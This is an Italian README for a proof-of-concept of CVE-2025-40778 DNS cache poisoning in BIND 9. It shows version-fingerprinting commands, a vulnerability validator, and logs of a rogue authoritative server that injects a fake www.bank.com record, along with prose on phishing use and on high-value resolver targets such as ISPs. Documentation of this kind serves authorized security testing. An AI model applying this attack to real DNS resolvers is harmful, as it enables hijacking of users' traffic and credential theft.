
Proof-of-concept che dimostra l'avvelenamento della cache DNS tramite iniezione di record aggiuntivi in BIND 9, con strumenti per validare e sfruttare CVE-2025-40778 per test di sicurezza autorizzati.
Dimostrazione educativa della vulnerabilità di avvelenamento della cache DNS tramite iniezione di record aggiuntivi.
SOLO PER SCOPI EDUCATIVI
Questo strumento è fornito esclusivamente per scopi educativi e per test di sicurezza autorizzati. L'uso non autorizzato di questo strumento contro sistemi che non possiedi o per i quali non hai esplicito permesso di testare è illegale e non etico.
L'autore non si assume alcuna responsabilità per usi impropri o danni causati da questo strumento.
Questa PoC dimostra come un server DNS autoritativo compromesso possa iniettare record avvelenati nelle risposte DNS, potenzialmente reindirizzando gli utenti verso server malevoli senza che questi se ne accorgano.
Vettore di attacco:
Possibili scenari:
👤 Autore e Contatti
pip install dnslib
pip install dnspython
pip install scapy
(venv) krakhen@poc-linux:~/CVE-2025-40778$ dig @200.0.0.X version.bind chaos txt
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @200.0.0.X version.bind chaos txt
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 29000
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1
;; WARNING: recursion requested but not available
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 76413e932ad7f2957d8d2a5d6904bec838947bd91c40da8e (good)
;; QUESTION SECTION:
;version.bind. CH TXT
;; ANSWER SECTION:
version.bind. 0 CH TXT "9.11.4-P2-RedHat-9.11.4-26.P2.el7_9.16"
;; AUTHORITY SECTION:
version.bind. 0 CH NS version.bind.
;; Query time: 14 msec
;; SERVER: 200.0.0.X#53(200.0.0.X) (UDP)
;; WHEN: Fri Oct 31 10:51:04 -03 2025
;; MSG SIZE rcvd: 134
Questo strumento rileva se è possibile sfruttare la vulnerabilità CVE-2025-40778
============================================================
CVE-2025-40778 - Forwarder Configuration Validator
============================================================
Enter DNS server IP [127.0.0.1]: 200.0.0.X
Enter domain to query [www.test.local]: www.company.com
============================================================
CVE-2025-40778 VALIDATION - Forwarder Configuration
============================================================
DNS Server: 200.0.0.X
Domain: www.company.com
============================================================
[1/3] Resolution Test for www.company.com
------------------------------------------------------------
[✓] www.company.com → 201.0.0.X
→ Forwarder ACTIVE for www.company.com
[2/3] Additional Records Test (Poison Detection)
------------------------------------------------------------
Answers: 2 records
Authority: 1 records
Additional: 2 records
ANSWER SECTION:
→ www.company.com. 300 IN CNAME www.holding.com.
→ www.holding.com. 300 IN A 201.0.0.X
ADDITIONAL SECTION:
→ [!] POISON?: ns.company.com. 300 IN A 200.0.0.X
→ [!] POISON?: ns2.company.com. 300 IN A 200.0.1.X
→ [!!!] MULTIPLE ANSWERS - Possible poisoning detected
[3/3] Forwarder Latency Test
------------------------------------------------------------
Query 1: 5.63ms
Query 2: 7.46ms
Query 3: 6.04ms
Query 4: 5.04ms
Query 5: 5.69ms
Average: 5.97ms
→ [✓] Forwarder working correctly
============================================================
CONFIGURATION VALIDATED
============================================================
Descrizione: In questo passaggio, avvii il server DNS autoritativo malevolo che simula un nameserver compromesso. Il server rimane in ascolto su un IP e una porta specifici (127.0.0.2:5301), pronto a iniettare record DNS avvelenati nelle risposte. Una volta configurato, risponderà alle query legittime per www.test.local con l'indirizzo IP corretto, ma inietterà simultaneamente un record malevolo per www.bank.com che punta a un IP controllato dall'attaccante. Questo comportamento a doppia risposta è il cuore dell'attacco di avvelenamento della cache: il resolver DNS vulnerabile memorizzerà nella cache sia la risposta legittima sia il record avvelenato, anche se è stato richiesto un solo dominio.
(venv) krakhen@poc-linux:~CVE-2025-40778$ python3 auth_poison.py
============================================================
CVE-2025-40778 PoC - poc-linux | krakhen.dev
============================================================
[*] Listening: 127.0.0.2:5301
[*] Legit: www.test.local. → 192.168.0.136
[*] Poison: www.bank.com. → 192.168.0.100
[✓] Running. Ctrl+C to stop.
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35319] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:32:56 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35319] (udp) / 'www.test.local.' (A) / RRs: A,A
Descrizione: Qui esegui una query DNS standard attraverso il tuo resolver locale (BIND) per verificare che l'infrastruttura funzioni correttamente. La query per www.test.local dovrebbe restituire l'indirizzo IP legittimo (192.168.0.136) come previsto. A questo punto, la risposta appare normale all'utente finale: non c'è alcuna indicazione visibile del compromesso. Tuttavia, dietro le quinte, il resolver DNS vulnerabile ha già memorizzato nella cache entrambi i record: quello legittimo che hai richiesto E il record avvelenato per www.bank.com che è stato iniettato nella sezione aggiuntiva della risposta. Questo passaggio conferma che il tuo resolver DNS ha comunicato con successo con il server autoritativo malevolo e ha elaborato la sua risposta.
(venv) krakhen@poc-linux:~/invest/CVE-2025-40778$ dig @127.0.0.1 www.test.local A
; <<>> DiG 9.18.39-0ubuntu0.22.04.2-Ubuntu <<>> @127.0.0.1 www.test.local A
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57107
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
; COOKIE: 169780f6ce6781fb010000006904bd5997b99a385f650fa3 (good)
;; QUESTION SECTION:
;www.test.local. IN A
;; ANSWER SECTION:
www.test.local. 120 IN A 192.168.0.136
;; Query time: 1 msec
;; SERVER: 127.0.0.1#53(127.0.0.1) (UDP)
;; WHEN: Fri Oct 31 10:44:57 -03 2025
;; MSG SIZE rcvd: 87
Descrizione: Questo passaggio rivela le prove dell'avvenuto avvelenamento della cache dalla prospettiva dell'attaccante. I log del server DNS malevolo mostrano che ha ricevuto la query per www.test.local, ha risposto con la risposta legittima E ha iniettato con successo il record avvelenato per www.bank.com. La notazione "RRs: A,A" indica che due record A sono stati inviati nella risposta: uno legittimo, uno malevolo. In questo momento, la cache DNS della vittima è compromessa. Qualsiasi query successiva per www.bank.com da questo resolver restituirà l'IP dell'attaccante (192.168.0.100) invece del sito bancario reale, consentendo attacchi di phishing trasparenti in cui gli utenti vedono l'URL corretto ma si connettono a un server malevolo. L'attacco è invisibile agli utenti finali e persisterà fino alla scadenza della cache DNS (TTL).
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Request: [127.0.0.1:35413] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:39:32 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:35413] (udp) / 'www.test.local.' (A) / RRs: A,A
1272025-10-31 10:44:57 [DNSHandler:PoisonResolver] Request: [127.0.0.1:54962] (udp) / 'www.test.local.' (A)
[→] Query: www.test.local.
[✓] Legit: www.test.local. → 192.168.0.136
[!] POISON: www.bank.com. → 192.168.0.100
2025-10-31 10:44:57 [DNSHandler:PoisonResolver] Reply: [127.0.0.1:54962] (udp) / 'www.test.local.' (A) / RRs: A,A
Cosa Significa in Pratica:
Immagina di essere un utente normale che cerca di accedere al sito della propria banca. Digiti attentamente www.bank.com nel tuo browser: l'URL è corretto al 100%, nessun errore di battitura, nessun link sospetto da email. La barra degli indirizzi del tuo browser mostra il dominio esatto di cui ti fidi. Tutto sembra legittimo.
Ma ecco cosa è realmente accaduto dietro le quinte:
Il server DNS della tua azienda è stato compromesso da un attaccante che ha avvelenato la sua cache utilizzando questa vulnerabilità. Quando il tuo computer chiede "Dov'è www.bank.com?", il DNS avvelenato risponde con l'indirizzo IP del server dell'attaccante invece dell'indirizzo reale della banca.
L'Anatomia di un Attacco
Cosa può rubare l'attaccante:
Perché è così pericoloso:
Questo attacco è completamente invisibile alla vittima. Non ci sono avvisi, nessuna bandiera rossa, nessun modo per un utente medio di rilevarlo. Anche i professionisti della sicurezza più esperti possono cadere vittima perché l'attacco avviene a livello di infrastruttura, non sul dispositivo dell'utente. Un singolo server DNS compromesso può colpire migliaia di utenti simultaneamente, rendendolo un vettore di attacco altamente efficace per i criminali informatici che prendono di mira le organizzazioni.
In conclusione: CVE-2025-40778 consente agli attaccanti di armare la fiducia. Quando l'infrastruttura stessa su cui facciamo affidamento per navigare su internet è compromessa, anche gli utenti più cauti diventano vulnerabili. Ecco perché comprendere, testare e mitigare questa vulnerabilità è fondamentale per la postura di sicurezza di qualsiasi organizzazione.
Requisito Critico: Affinché questo attacco abbia successo, la vittima deve utilizzare il resolver DNS compromesso. L'attacco non prende di mira direttamente i dispositivi degli utenti finali - invece, colpisce l'infrastruttura DNS da cui gli utenti dipendono per navigare su internet.
Obiettivi di Attacco nel Mondo Reale:
L'obiettivo primario dell'attaccante è compromettere i resolver DNS che servono grandi basi di utenti. Gli obiettivi più preziosi includono:
Perché Questo è Importante:
L'efficacia dell'attacco scala con la base di utenti del resolver DNS. Comprometti il server DNS di un singolo ISP e potenzialmente comprometti ogni cliente che non ha modificato manualmente le proprie impostazioni DNS. Ecco perché la sicurezza DNS a livello di infrastruttura è critica: un singolo resolver vulnerabile può creare una superficie di attacco massiccia che colpisce migliaia o milioni di utenti che si fidano di quell'infrastruttura per essere sicura.